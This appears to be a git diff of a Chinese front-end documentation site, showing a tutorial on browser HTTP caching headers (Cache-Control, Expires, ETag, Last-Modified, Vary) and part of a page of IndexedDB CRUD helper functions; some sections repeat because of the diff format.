                        Date 首部字段表示响应报文生成的日期时间,请求经过代理服务器时,返回的 Date 未必是最新的,通常这个时候,代理服务器将增加一个 Age 字段告知该资源已缓存了多久。

                        该字段也用于 启发式缓存阶段 的计算。

                        Age

                        Age 首部字段表示资源在缓存代理服务器中已缓存的时长,单位为秒(取决于 max-ages-maxgae 的大小)。若出现此字段,表示已命中代理服务器的缓存。

                        Age: 2383321
                        Date: Wed, 08 Mar 2017 16:12:42 GMT

                        以上 HTTP 报文表示代理服务器在 2017年3月8日16:12:42 时向源服务器发起了对该资源的请求,目前缓存代理服务器已缓存该资源 2383321 秒。

                        Vary

                        Vary 首部字段用于表示代理服务器缓存的管理信息。

                        对于服务器而言,资源文件可能不止一个版本,比如说压缩和未压缩,针对不同的客户端,通常需要返回不同的资源版本。比如说老式的浏览器可能不支持解压缩,这个时候,就需要返回一个未压缩的版本;对于新的浏览器,支持压缩,返回一个压缩的版本,有利于节省带宽,提升体验。那么怎么区分这个版本呢,这个时候就需要 Vary 了。

                        服务器通过指定 Vary: Accept-Encoding,告知代理服务器,对于这个资源,需要缓存两个版本:压缩和未压缩。这样老式浏览器和新的浏览器,通过代理,就分别拿到了未压缩和压缩版本的资源,避免了都拿同一个资源的尴尬。

                        Vary: Accept-Encoding, User-Agent

                        如上设置,代理服务器将针对是否压缩和浏览器类型两个维度去缓存资源。如此一来,同一个 URL,就能针对 PC 和 Mobile 返回不同的缓存内容。

                        最佳优化策略

                        因为协商缓存本身也有 HTTP 请求的损耗,所以最佳优化策略是要尽可能的将静态文件存储为较长的时间,多利用强缓存而不是协商缓存,即消灭 304。

                        但是给文件设置一个很长的 Cacha-Control 也会带来其他的问题,最主要的问题是静态内容更新时,用户不能及时获得更新的内容。这时候就要使用 Hash 的方法对文件进行命名,通过每次更新不同的静态文件名来消除强缓存的影响。

                        缓存资源类型

                        回到实际应用上来,首先要明确哪些内容适合被缓存哪些不适合。

                        考虑缓存的内容:

                        • CSS 样式文件
                        • JS 文件
                        • Logo、图标
                        • HTML 文件
                        • 可以下载的内容

                        一些不应该被缓存的内容:

                        • 业务敏感的 GET 请求

                        用户行为分析

                        用户操作Expires/Cache-ControlLast-Modified/Etag
                        地址栏回车有效有效
                        页面链接跳转有效有效
                        新开窗口有效有效
                        前进、后退有效有效
                        F5 刷新无效有效
                        Ctrl+F5 刷新无效无效

                        协商缓存每次请求都会与服务器交互,第一次是拿数据和标识的过程,第二次开始,就是浏览器询问服务器资源是否有更新的过程。每次请求都会传输数据,如果命中缓存,则资源的  Status 状态码为  304  而不是  200 。同样的,一般来讲为了兼容,两个版本的协商缓存都会被实现,HTTP/1.1  版本的实现优先级会高于  HTTP/1.0  版本的实现。

                        阻止浏览器缓存静态资源

                        实际上,工作中很多场景都需要避免浏览器缓存,除了浏览器隐私模式,请求时想要禁用缓存,还可以设置请求头:Cache-Control: no-cache, no-store, must-revalidate

                        当然,还有一种常用做法:即给请求的资源增加一个版本号。

                        <link rel="stylesheet" type="text/css" href="../css/style.css?version=1.8.9" />

                        这样做的好处就是你可以自由控制什么时候加载最新的资源。

                        不仅如此,HTML 也可以禁用缓存,即在页面的节点中加入标签。

                        <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />

                        上述虽能禁用缓存,但只有部分浏览器支持,而且由于代理不解析 HTML 文档,故代理服务器也不支持这种方式。

                        HTTP 缓存总结

                        强制缓存优先于协商缓存进行,若强制缓存(Expires 和 Cache-Control)生效则直接使用缓存,若不生效则进行协商缓存(Last-Modified / If-Modified-Since 和 Etag / If-None-Match),协商缓存由服务器决定是否使用缓存,若协商缓存失效,那么代表该请求的缓存失效,重新获取请求结果,再存入浏览器缓存中;生效则返回 304,继续使用缓存,主要过程如下:

                        浏览器缓存机制示意图

                        HTTP 缓存常用字段

                        缓存类型HTTP/1.0HTTP/1.1
                        强缓存ExpiresCache-Control
                        协商缓存响应头:Last-Modified
                        请求头:If-Modified-Since
                        响应头:ETag
                        请求头:If-None-Match

                        参考资料

                        +

                        HTTP Cache

                        📖 快速目录:

                        缓存类型

                        浏览器与服务器通信的方式为应答模式,即:浏览器发起 HTTP 请求 – 服务器响应该请求

                        浏览器首次向服务器发起该请求后拿到请求结果,会根据响应报文中 HTTP 头的缓存标识,决定是否缓存结果,简单的过程如下图:

                        浏览器缓存过程分析

                        由上图我们可以知道:

                        • 浏览器每次发起请求,都会先在浏览器缓存中查找该请求的结果以及缓存标识
                        • 浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中

                        以上两点结论就是浏览器缓存机制的关键,他确保了每个请求的缓存存入与读取,只要我们再理解浏览器缓存的使用规则,那么所有的问题都迎刃而解了,本文也将围绕着这点进行详细分析。

                        为了方便大家理解,这里我们根据是否需要向服务器重新发起 HTTP 请求将缓存过程分为两个部分,分别是强缓存协商缓存

                        强缓存如果命中缓存则不需要和服务器端发生交互,而协商缓存不管是否命中都要和服务器端发生交互。强缓存的优先级高于协商缓存。

                        HTTP 缓存HTTP 状态码缓存位置谁来决定是否有效
                        强缓存200本地浏览器本地浏览器F5 刷新无效,强制刷新无效
                        协商缓存304本地浏览器服务器F5 刷新有效,强制刷新无效

                        强缓存

                        强缓存就是向浏览器缓存查找该请求结果,并根据该结果的缓存规则来决定是否使用该缓存结果的过程

                        强缓存的情况主要有三种(暂不分析协商缓存过程)。

                        • 不存在该缓存结果和缓存标识,强制缓存失效,则直接向服务器发起请求(跟首次发起请求一致)
                        强制缓存失效向服务器请求
                        • 存在该缓存结果和缓存标识,但该结果已失效,强缓存失效,则使用协商缓存(暂不分析)
                        强制缓存失效使用协商缓存
                        • 存在该缓存结果和缓存标识,且该结果尚未失效,强制缓存生效,直接返回该结果
                        强制缓存失效

                        Age:23146
                        Cache-Control: max-age=2592000
                        Date: Tue, 28 Nov 2017 12:26:41 GMT
                        ETag: W/"5a1cf09a-63c6"
                        Expires: Thu, 28 Dec 2017 05:27:45 GMT
                        Last-Modified: Tue, 28 Nov 2017 05:14:02 GMT
                        Vary: Accept-Encoding

                        以上请求头来自百度首页某个 CSS 文件的响应头。我去除了一些和缓存无关的字段,只保留了以上部分。我们来分析下,Expires 是 HTTP/1.0 中的定义缓存的字段,它规定了缓存过期的一个绝对时间。Cache-Control 是 HTTP/1.1 定义的关于缓存的字段,max-age 为 Cache-Control 字段的其中一个指令,它规定了缓存过期的一个相对时间。

                        这就是强缓存阶段,当浏览器再次试图访问这个 CSS 文件,发现有这个文件的缓存,那么就会根据上一次的响应判断是否过期,如果没过期,则使用该缓存。

                        强缓存规则

                        强制缓存的缓存规则是什么?

                        当浏览器向服务器发起请求时,服务器会将缓存规则放入 HTPP 响应报文的响应头(HTTP Header)中和请求结果一起返回给浏览器,控制强制缓存的字段分别是 Expires 和 Cache-Control,其中 Cache-Control 优先级比 Expires 高。

                        ⚠️ 注意:强制缓存的过期时间通过第一次访问服务器时返回的响应头获取。在 HTTP/1.0 和 HTTP/1.1 版本中通过不同的响应头字段实现。

                        浏览器的缓存存放在哪里,如何在浏览器中判断强制缓存是否生效?

                        浏览器缓存位置

                        这里我们以博客的请求为例,状态码为灰色的请求则代表使用了强制缓存,请求对应的 Size 值则代表该缓存存放的位置,分别为 from memory cache  和  from disk cache

                        内存缓存(from memory cache)和硬盘缓存(from disk cache)对比

                        • 内存缓存(from memory cache):内存缓存具有两个特点,分别是快速读取时效性
                          • 快速读取:内存缓存会将编译解析后的文件,直接存入该进程的内存中,占据该进程的内存中,占据该进程一定的内存资源,以便下次运行使用时的快速读取
                          • 时效性:一旦该进程关闭,则该进程的内存则会清空
                        • 硬盘缓存(from disk cache):硬盘缓存则是直接将缓存写入硬盘文件中,读取缓存需要对该缓存存放的硬盘文件进行 I/O 操作,然后重新解析该缓存内容,读取复杂,速度比内存缓存慢。

                        在浏览器中,浏览器会在 JavaScript 脚本和图片等文件解析后直接存入内存缓存中,那么刷新页面时只需直接从内存缓存中读取(from memory cache);而 CSS 文件则会存入硬盘文件中,所以每次渲染页面都需要从硬盘读取缓存(from disk cache)。

                        强制缓存只有首次请求才会与服务器通信,读取缓存资源时不会发出任何请求,资源的  Status  状态码为  200,资源的  Size  为  from memory  或者  from disk ,HTTP1.1 版本的实现优先级会高于 HTTP/1.0 版本的实现。

                        强缓存首部字段

                        用于强缓存的首部字段包括 ExpiresCache-Control

                        Expires

                        Expires 字段用于告知客户端缓存资源过期失效的绝对时间,该字段值为 GMT 格式的时间字符串。

                        Expires: Tue, 01 Jan 2019 12:00:00 GMT
                        • 发起请求时间超过 Expires 设定时间,即表示资源缓存时间到期,会发送请求到服务器重新获取资源
                        • 发起请求时间在 Expires 设定时间之前,浏览器会直接读取本地缓存数据库中的信息(form memory 或 from disk)

                        同样可以在 HTML 文件里直接使用:

                        <meta http-equiv="expires" content="Thu, 30 Nov 2017 11:17:26 GMT" />

                        如果设置的时间是过去的时间,则刷新页面会重新发送请求。

                        🔴 弊端:Expires 控制缓存的原理是使用客户端的时间与服务端返回的时间做对比,如果如果客户端与服务端的时间因为某些原因(例如时区不同;客户端和服务的有一方的时间不准确)发生误差,那么强制缓存则会直接失效,这样的话强制缓存的存在则毫无意义,因此到了 HTTP/1.1,Expires 被 Cache-Control 替代。

                        Cache-Control

                        通过 Cache-Control 首部字段的指令可以控制告诉客户端或是服务器如何处理缓存。

                        指令参数说明
                        no-cache强制资源服务器再次验证
                        no-store不缓存请求或是响应的任何内容
                        max-age=[秒]缓存时长,单位是秒缓存的时长,也是响应的最大的 Age 值
                        min-fresh=[秒]必需期望在指定时间内响应仍然有效
                        no-transform代理不可更改媒体类型
                        only-if-cached从缓存获取
                        cache-extension-新的指令标记(token)

                        响应指令

                        指令参数说明
                        public任意一方都能缓存该资源(客户端、代理服务器等)
                        private可省略只能特定用户缓存该资源(仅客户端可以缓存,代理服务器不可缓存)
                        no-cache可省略缓存前必需先确认其有效性
                        no-store不缓存请求或响应的任何内容
                        no-transform代理不可更改媒体类型
                        must-revalidate可缓存但必须再向源服务器进行确认
                        proxy-revalidate要求中间缓存服务器(代理)对缓存的响应有效性再进行确认
                        max-age=[秒]缓存时长,单位是秒缓存的时长,也是响应的最大的 Age 值
                        s-maxage=[秒]必需公共缓存服务器响应的最大 Age 值
                        cache-extension-新指令标记(token)

                        ⚠️ 注意no-cache 指令很多人误以为是不缓存,这是不准确的,no-cache 的意思是可以缓存,但每次使用缓存前应该去向服务器验证缓存是否可用。no-store 才是不缓存内容。另外部分指令也可以组合使用。

                        Cache-Control: max-age=100, must-revalidate, public

                        上面指令的意思是缓存的有效时间为 100 秒,之后访问需要向服务器发送请求验证,此缓存可被代理服务器和客户端缓存。

                        一般来说,为了兼容,两个版本的强制缓存都会被实现。

                        Cache-Control

                        由上面的例子我们可以知道:

                        • HTTP 响应报文中 Expires 的时间值,是一个绝对值
                        • HTTP 响应报文中 Cache-Control 为 max-age=600,是相对值

                        由于 Cache-Control 的优先级比 Expires 高,那么直接根据 Cache-Control 的值进行缓存,意思就是说在 600 秒内再次发起该请求,则会直接使用缓存结果,强制缓存生效。

                        ⚠️ 注意:在无法确定客户端的时间是否与服务端的时间同步的情况下,Cache-Control 相比于 Expires 是更好的选择,所以同时存在时,只有 Cache-Control 生效。

                        协商缓存

                        协商缓存即强制缓存失效后,浏览器携带缓存标识向服务器发起请求,由服务器根据缓存标识决定是否使用缓存的过程。

                        而协商缓存与强制缓存的不同之处在于,协商缓存每次读取数据时都需要跟服务器通信,并且会增加缓存标识。

                        • 在第一次请求服务器时,服务器会返回资源,并且返回一个资源的缓存标识,一起存到浏览器的缓存数据库。
                        • 当第二次请求资源时,浏览器会首先将缓存标识发送给服务器,服务器拿到标识后判断标识是否匹配
                          • 如果缓存标识不匹配,表示资源有更新,服务器会将新数据和新的缓存标识一起返回到浏览器
                          • 如果缓存标识匹配,表示资源没有更新,并且返回 304 状态码,浏览器就读取本地缓存服务器中的数据。

                        • 协商缓存生效,返回 304
                        协商缓存生效返回304
                        • 协商缓存失效,返回 200 和请求结果
                        协商缓存失效返回200

                        协商缓存规则

                        在 HTTP 协议的 1.0 和 1.1 版本中也有不同的实现方式。

                        在 HTTP/1.0 版本中,首次请求资源时服务器通过 Last-Modified 来设置响应头的缓存标识,并且把资源最后修改的时间作为值填入,然后将资源返回给浏览器。当再次请求时,浏览器会首先带上 If-Modified-Since 请求头去访问服务器,服务器会将 If-Modified-Since 中携带的时间与资源修改的时间匹配。

                        • 如果时间不一致,服务器会返回新的资源,并且将 Last-Modified 值更新❗️,作为响应头返回给浏览器,状态码为 200,响应体 Body 中为修改后的资源内容。
                        • 如果时间一致,表示资源没有更新,服务器返回 304 状态码,浏览器拿到响应状态码后从本地缓存数据库中读取缓存资源。

                        🔴 弊端:这种方式有一个弊端,就是当服务器中的资源增加了一个字符,后来又把这个字符删掉,本身资源文件并没有发生变化,但修改时间发生了变化。当下次请求过来时,服务器也会把这个本来没有变化的资源重新返回给浏览器。

                        📌 因此,在 HTTP/1.1 版本中,使用 ETagIf-None-Match 作为缓存是否更新的标识。

                        当浏览器访问资源时,服务器会根据资源计算出一个哈希值,并随 ETag 响应头返回,当浏览器再次需要访问资源时,携带  If-None-Match  请求头,服务器再次计算该资源的 ETag 值。

                        • 如果资源有改变,则返回状态码 200 ,Body 为新的资源体。
                        • 如果资源没有改变,则返回状态码 304,Body 为空,并继续使用原有缓存。
                        响应头请求头可选值优先级优缺点
                        LastModifiedIf-Modified-SinceGMT 时间依次比较,排序靠后修改并不意味着改变;秒级判断
                        ETagIf-None-Match校验值依次比较,先比较使用系统默认的 Hash 算法,再分布式部署中会导致不同服务器的 ETag 值一直

                        协商缓存首部字段

                        协商缓存首部字段包括:

                        Last-Modified

                        Last-Modified 首部字段用于表示请求资源的最后一次修改时间,该字段值为 GMT 格式的时间字符串。该字段不光用于协商缓存,在启发式缓存阶段同样起到至关重要的作用。

                        在浏览器首次请求某个 URL 时,服务器端的返回状态码会是 200,响应的实体内容是客户端请求的资源,同时有一个 Last-Modified 的属性标记此文件在服务器端最后被修改的时间。

                        last-modified : Fri , 12 May 2006 18:53:33 GMT

                        Last-Modified

                        🔴 弊端:使用 Last-Modified 无法准确地判断资源是否真的被修改,比如某个文件在 1 秒内频繁更改了多次,或者当服务器中的资源增加了一个字符,后来又把这个字符删掉,资源文件本身的实际内容并没有发生变化,但修改时间却发生了变化,而当下次请求过来时,服务器也会把这个本来没有变化但最后修改时间已经变化了的资源重新返回给浏览器。

                        If-Modified-Since

                        当浏览器再次请求这个 URL 的时候,根据 HTTP 协议规定,浏览器会把上次请求返回的 Last-Modified 值存储在 If-Modified-Since 里面发送给服务端,告诉服务器该资源上次请求返回的最后被修改时间。服务器收到该请求后,发现请求头含有 If-Modified-Since 字段,则会根据 If-Modified-Since 的字段值与该资源在服务器的最后被修改时间来判断两次访问期间资源是否有被修改,从而决定是否返回完整的资源。

                        • 若服务器的资源最后被修改时间晚于 If-Modified-Since 的字段值(时间字符串),则重新返回资源,状态码为 200
                        • 否则则只返回响应头,状态码 304,代表资源无更新,告知浏览器资源的本地缓存仍可使用。
                        If-Modified-Since : Fri , 12 May 2006 18:53:33 GMT

                        If-Unmodified-Since

                        这个字段字面意思和 If-Modified-Since 相反,但处理方式并不是相反的。如果文件在两次访问期间没有被修改则返回 200 和网页资源,如果文件修改了则返回状态码 412(预处理错误)。

                        用途:

                        • 与含有 If-Range 消息头的范围请求搭配使用,实现断点续传的功能,即如果资源没修改继续下载,如果资源修改了,续传的意义就没有了。
                        • POST、PUT 请求中,优化并发控制,即当多用户编辑用一份文档的时候,如果服务器的资源已经被修改,那么在对其作出编辑会被拒绝提交。

                        ETag

                        ETag 表示服务端生成的资源唯一标识(比如 MD5 标识),是 Entity Tag(实体标签) 的缩写。HTTP/1.1 协议并没有规范该值如何生成,一般而言为该资源的散列值。

                        etag: W/"abc-123456"

                        ETag 的值有可能包含一个 W/ 前缀,来提示应该采用弱比较算法(这个是画蛇添足,因为 If-None-Match 用且仅用这一算法)。

                        If-None-Match

                        If-None-Match 是客户端再次发起该请求时,携带上次请求返回的唯一标识 ETag 值,通过此字段值告诉服务器该资源上次请求返回的唯一标识值,以判断缓存资源是否有效。

                        If-None-Match: abc-123456
                        • 对于 GET 或 HEAD 请求,当且仅当服务器上没有任何资源的 ETag 首部字段与这个首部中列出的相匹配的时候,服务器端才会返回所请求的资源,响应状态码为 200。如果没有资源的 ETag 值相匹配,那么返回 04 状态码。但是不管如何,都至少返回 Cache-Control、Content-Location、Date、ETag、Expires 和 Vary 中之一的字段。
                        • POST、PUT 等请求改变文件的请求,如果没有资源的 ETag 值相匹配,那么返回 412 状态码。

                        ⚠️ 注意:ETag / If-None-Match 优先级高于 Last-Modified / If-Modified-Since,同时存在则只有 ETag / If-None-Match 生效。

                        If-Match

                        表示条件请求,携带上一次请求中资源的 ETag,服务器根据这个字段判断文件是否有新的修改

                        在请求方法为 GET 和 HEAD 的情况下,服务器仅在请求的资源满足此首部列出的 ETag 之一时才会返回资源。而对于 PUT 或其它非安全方法来说,只有满足条件的情况下才可以将资源上传。

                        用途:

                        • For GET 和 HEAD 方法,搭配 Range 头字段使用,可以用来保证新请求的范围与之前请求的范围是对同一份资源的请求。如果 ETag 无法匹配,那么需要返回 416(范围请求无法满足)响应。
                        • 对于 PUT 或者其他不安全的请求,If-Match 首部可以用来避免更新丢失问题。它可以用来检测用户想要上传的不会覆盖获取原始资源之后做出的更新。如果请求的条件不满足,那么需要返回 412(预处理错误)响应。

                        当然和 Last-Modified 相比,ETag 也有自己的缺点,比如由于需要对资源进行生成标识,性能方面就势必有所牺牲。

                        关于强校验和弱校验:

                        ETag1ETag2Strong ComparisonWeak Comparison
                        W/"1"W/"1"no matchmatch
                        W/"1"W/"2"no matchno match
                        W/"1""1"no matchmatch
                        "1""1"matchmatch

                        ETag 主要为了解决 Last-Modified 无法解决的一些问题:

                        1. 一些文件也许会周期性的更改,但是他的内容并不改变(仅仅改变的修改时间),这个时候我们并不希望客户端认为这个文件被修改了
                        2. 某些文件修改非常频繁,比如在秒以下的时间内进行修改,(比方说 1 秒内修改了 N 次),Last-Modified 能检查到的粒度是秒级的,这种修改无法判断(或者说 UNIX 记录 MTIME 只能精确到秒)
                        3. 某些服务器不能精确的得到文件的最后修改时间

                        总的来说,ETag 是 Last-Modifed 的补充,比 Last-Modified 更加严谨。但设定了 Etag 之后,每次客户端发出请求,服务端都会根据资源重新生成一个 ETag,相对来说,对性能会有影响。

                        启发式缓存阶段

                        Age: 23146
                        Cache-Control: public
                        Date: Tue, 28 Nov 2017 12:26:41 GMT
                        Last-Modified: Tue, 28 Nov 2017 05:14:02 GMT
                        Vary: Accept-Encoding

                        如果 ExpiresCache-Control: max-ageCache-Control:s-maxage 都没有在响应头中出现,并且也没有其他缓存设置,那么浏览器默认会采用一个启发式算法,会根据响应头中两个个时间字段 Date 和 Last-Modified 之间的时间差值,取其值的 10% 作为缓存时间的周期。

                        这就是 启发式缓存阶段。这个阶段很容让人忽视,但实际上每时每刻都在发挥着作用。所以在今后的开发过程中如果遇到那种默认缓存的坑,不要叫嚣,不要生气,浏览器只是在遵循启发式缓存协议而已。

                        其他缓存字段

                        Pragma

                        Pragma 是 HTTP/1.1 之前版本遗留的通用首部字段,仅作为于 HTTP/1.0 的向后兼容而使用。虽然它是一个通用首部,但是它在响应报文中时的行为没有规范,依赖于浏览器的实现。RFC 中该字段只有 no-cache 一个可选值,会通知浏览器不直接使用缓存,要求向服务器发请求校验新鲜度。因为它优先级最高,当存在时一定不会命中强缓存。

                        Pragma 属于通用首部字段,在客户端上使用时,常规要求我们往 HTML 上加上上面这段 meta 元标签。

                        <meta http-equiv="Pragma" content="no-cache" />

                        事实上这种禁用缓存的形式用处很有限:

                        • 仅有 IE 才能识别这段 <meta> 标签含义,其它主流浏览器仅能识别 Cache-Control: no-store<meta>标签

                        • 在 IE 中识别到该 <meta> 标签含义,并不一定会在请求字段加上 Pragma,但的确会让当前页面每次都发新请求(仅限页面,页面上的资源则不受影响)。——浅谈浏览器 HTTP 的缓存机制

                        服务端响应添加 Progma: no-cache,浏览器表现行为和强制刷新类似。

                        Date

                        Date 首部字段表示响应报文生成的日期时间,请求经过代理服务器时,返回的 Date 未必是最新的,通常这个时候,代理服务器将增加一个 Age 字段告知该资源已缓存了多久。

                        该字段也用于 启发式缓存阶段 的计算。

                        Age

                        Age 首部字段表示资源在缓存代理服务器中已缓存的时长,单位为秒(取决于 max-ages-maxgae 的大小)。若出现此字段,表示已命中代理服务器的缓存。

                        Age: 2383321
                        Date: Wed, 08 Mar 2017 16:12:42 GMT

                        以上 HTTP 报文表示代理服务器在 2017年3月8日16:12:42 时向源服务器发起了对该资源的请求,目前缓存代理服务器已缓存该资源 2383321 秒。

                        Vary

                        Vary 首部字段用于表示代理服务器缓存的管理信息。

                        对于服务器而言,资源文件可能不止一个版本,比如说压缩和未压缩,针对不同的客户端,通常需要返回不同的资源版本。比如说老式的浏览器可能不支持解压缩,这个时候,就需要返回一个未压缩的版本;对于新的浏览器,支持压缩,返回一个压缩的版本,有利于节省带宽,提升体验。那么怎么区分这个版本呢,这个时候就需要 Vary 了。

                        服务器通过指定 Vary: Accept-Encoding,告知代理服务器,对于这个资源,需要缓存两个版本:压缩和未压缩。这样老式浏览器和新的浏览器,通过代理,就分别拿到了未压缩和压缩版本的资源,避免了都拿同一个资源的尴尬。

                        Vary: Accept-Encoding, User-Agent

                        如上设置,代理服务器将针对是否压缩和浏览器类型两个维度去缓存资源。如此一来,同一个 URL,就能针对 PC 和 Mobile 返回不同的缓存内容。

                        最佳优化策略

                        因为协商缓存本身也有 HTTP 请求的损耗,所以最佳优化策略是要尽可能的将静态文件存储为较长的时间,多利用强缓存而不是协商缓存,即消灭 304。

                        但是给文件设置一个很长的 Cacha-Control 也会带来其他的问题,最主要的问题是静态内容更新时,用户不能及时获得更新的内容。这时候就要使用 Hash 的方法对文件进行命名,通过每次更新不同的静态文件名来消除强缓存的影响。

                        缓存资源类型

                        回到实际应用上来,首先要明确哪些内容适合被缓存哪些不适合。

                        考虑缓存的内容:

                        • CSS 样式文件
                        • JS 文件
                        • Logo、图标
                        • HTML 文件
                        • 可以下载的内容

                        一些不应该被缓存的内容:

                        • 业务敏感的 GET 请求

                        用户行为分析

                        用户操作Expires/Cache-ControlLast-Modified/Etag
                        地址栏回车有效有效
                        页面链接跳转有效有效
                        新开窗口有效有效
                        前进、后退有效有效
                        F5 刷新无效有效
                        Ctrl+F5 刷新无效无效

                        协商缓存每次请求都会与服务器交互,第一次是拿数据和标识的过程,第二次开始,就是浏览器询问服务器资源是否有更新的过程。每次请求都会传输数据,如果命中缓存,则资源的  Status 状态码为  304  而不是  200 。同样的,一般来讲为了兼容,两个版本的协商缓存都会被实现,HTTP/1.1  版本的实现优先级会高于  HTTP/1.0  版本的实现。

                        阻止浏览器缓存静态资源

                        实际上,工作中很多场景都需要避免浏览器缓存,除了浏览器隐私模式,请求时想要禁用缓存,还可以设置请求头:Cache-Control: no-cache, no-store, must-revalidate

                        当然,还有一种常用做法:即给请求的资源增加一个版本号。

                        <link rel="stylesheet" type="text/css" href="../css/style.css?version=1.8.9" />

                        这样做的好处就是你可以自由控制什么时候加载最新的资源。

                        不仅如此,HTML 也可以禁用缓存,即在页面的节点中加入标签。

                        <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />

                        上述虽能禁用缓存,但只有部分浏览器支持,而且由于代理不解析 HTML 文档,故代理服务器也不支持这种方式。

                        HTTP 缓存总结

                        强制缓存优先于协商缓存进行,若强制缓存(Expires 和 Cache-Control)生效则直接使用缓存,若不生效则进行协商缓存(Last-Modified / If-Modified-Since 和 Etag / If-None-Match),协商缓存由服务器决定是否使用缓存,若协商缓存失效,那么代表该请求的缓存失效,重新获取请求结果,再存入浏览器缓存中;生效则返回 304,继续使用缓存,主要过程如下:

                        浏览器缓存机制示意图

                        HTTP 缓存常用字段

                        缓存类型HTTP/1.0HTTP/1.1
                        强缓存ExpiresCache-Control
                        协商缓存响应头:Last-Modified
                        请求头:If-Modified-Since
                        响应头:ETag
                        请求头:If-None-Match

                        参考资料

                        - + diff --git a/browser-object-model/offline-and-storage/index.html b/browser-object-model/offline-and-storage/index.html index f21ffbd0f..028dad012 100644 --- a/browser-object-model/offline-and-storage/index.html +++ b/browser-object-model/offline-and-storage/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/offline-and-storage/indexed-db/index.html b/browser-object-model/offline-and-storage/indexed-db/index.html index 020c05aa1..985ee472f 100644 --- a/browser-object-model/offline-and-storage/indexed-db/index.html +++ b/browser-object-model/offline-and-storage/indexed-db/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -40,12 +43,12 @@
                        request.onupgradeneeded = function (event) {
                        let db = event.target.result;
                        if (!db.objectStoreNames.contains(storeName)) {
                        // 创建仓库对象(创建表格)
                        // 这里我将主键设置为id
                        let objectStore = db.createObjectStore(storeName, {
                        keyPath: 'id',
                        autoIncrement: true,
                        });
                        }
                        };
                        });
                        };

                        获取数据

                        let getStoreData = function (name, key = 1) {
                        console.log('getStoreData');
                        return new Promise((resolve, reject) => {
                        let request = indexedDB.open(name);
                        request.onsuccess = function (event) {
                        let db = event.target.result;
                        let req;
                        try {
                        req = db.transaction(name, 'readwrite').objectStore(name).get(key); // 这里的“1”也是主键的键值
                        } catch (e) {
                        reject('用户失败');
                        }
                        if (!req) {
                        return;
                        }
                        req.onsuccess = function () {
                        resolve(req.result);
                        };
                        req.onerror = function () {
                        reject('获取失败');
                        };
                        };
                        request.onupgradeneeded = function (event) {
                        let db = event.target.result;
                        if (!db.objectStoreNames.contains(name)) {
                        // 创建仓库对象(创建表格)
                        // 这里我将主键设置为id
                        let objectStore = db.createObjectStore(name, {
                        keyPath: 'id',
                        autoIncrement: true,
                        });
                        }
                        };
                        });
                        };

                        删除数据

                        const delectStoreData = function (name, key) {
                        console.log('delectStoreData');
                        return new Promise((resolve, reject) => {
                        let databaseName = name;
                        let db;
                        let request = window.indexedDB.open(databaseName);
                        request.onsuccess = function (event) {
                        db = event.target.result;
                        // 这里指定的是主键的键值
                        let req = db.transaction(databaseName, 'readwrite').objectStore(databaseName).delete(key);
                        req.onsuccess = function () {
                        resolve('删除成功');
                        };
                        req.onerror = function () {
                        reject('删除失败');
                        };
                        };
                        });
                        };

                        更新数据

                        const updateStoreData = function (storeName, newData, key) {
                        console.log('updateStoreData');
                        return new Promise((resolve, reject) => {
                        let request = window.indexedDB.open(storeName);
                        let db;
                        request.onsuccess = function (event) {
                        db = event.target.result;
                        let transaction = db.transaction(storeName, 'readwrite');
                        let store = transaction.objectStore(storeName);
                        let storeData = store.get(key);
                        -
                        storeData.onsuccess = function (e) {
                        let data = e.target.result || {};
                        for (a in newData) {
                        data[a] = newData[a];
                        }
                        store.put(data);
                        resolve();
                        };
                        };
                        request.onupgradeneeded = function (event) {
                        let db = event.target.result;
                        if (!db.objectStoreNames.contains(storeName)) {
                        // 创建仓库对象(创建表格)
                        // 这里我将主键设置为id
                        let objectStore = db.createObjectStore(storeName, {
                        keyPath: 'id',
                        autoIncrement: true,
                        });
                        }
                        };
                        });
                        };

                        遍历获取

                        const storeDataList = function (storeName) {
                        console.log('storeDataList');
                        return new Promise((resolve, reject) => {
                        let request = window.indexedDB.open(storeName);
                        let db;
                        request.onsuccess = function (event) {
                        db = event.target.result;
                        let transaction = db.transaction(storeName);
                        let store = transaction.objectStore(storeName);
                        // 打开游标
                        let cursor = store.openCursor();
                        let dataList = new Array();
                        cursor.onsuccess = function (e) {
                        var cursorVal = e.target.result;
                        if (cursorVal) {
                        dataList.push(cursorVal.value);
                        cursorVal.continue();
                        } else {
                        // 遍历结束
                        resolve(dataList);
                        }
                        };
                        };
                        request.onupgradeneeded = function (event) {
                        let db = event.target.result;
                        if (!db.objectStoreNames.contains(storeName)) {
                        // 创建仓库对象(创建表格)
                        // 这里我将主键设置为id
                        let objectStore = db.createObjectStore(storeName, {
                        keyPath: 'id',
                        autoIncrement: true,
                        });
                        }
                        };
                        });
                        };

                        批量删除

                        const batchDelete = function (storeName, keys) {
                        console.log('batchDelete');
                        let allKeys = keys.map((item) => {
                        item = +item;
                        return delectStoreData(storeName, item);
                        });
                        return allKeys;
                        /* Promise.all(allKeys).then(data => {
                        console.log(data);
                        resolve(data);
                        });*/
                        };

                        第三方依赖库

                        如果碰到前端频繁存储操作或者大文件缓存的需求,可以考虑使用 IndexedDB,当然项目中推荐直接使用第三方库:

                        名称说明
                        zangodbZangoDB 是一个类似 MongoDB 的 HTML5 IndexedDB 接口库,支持 MongoDB 的大多数常见功能包括 filer、sorting、updating 和 aggregation,可在 Web 浏览器中使用
                        dexie.jsIndexedDB 的简约包装器

                        参考资料

                        +
                        storeData.onsuccess = function (e) {
                        let data = e.target.result || {};
                        for (a in newData) {
                        data[a] = newData[a];
                        }
                        store.put(data);
                        resolve();
                        };
                        };
                        request.onupgradeneeded = function (event) {
                        let db = event.target.result;
                        if (!db.objectStoreNames.contains(storeName)) {
                        // 创建仓库对象(创建表格)
                        // 这里我将主键设置为id
                        let objectStore = db.createObjectStore(storeName, {
                        keyPath: 'id',
                        autoIncrement: true,
                        });
                        }
                        };
                        });
                        };

                        遍历获取

                        const storeDataList = function (storeName) {
                        console.log('storeDataList');
                        return new Promise((resolve, reject) => {
                        let request = window.indexedDB.open(storeName);
                        let db;
                        request.onsuccess = function (event) {
                        db = event.target.result;
                        let transaction = db.transaction(storeName);
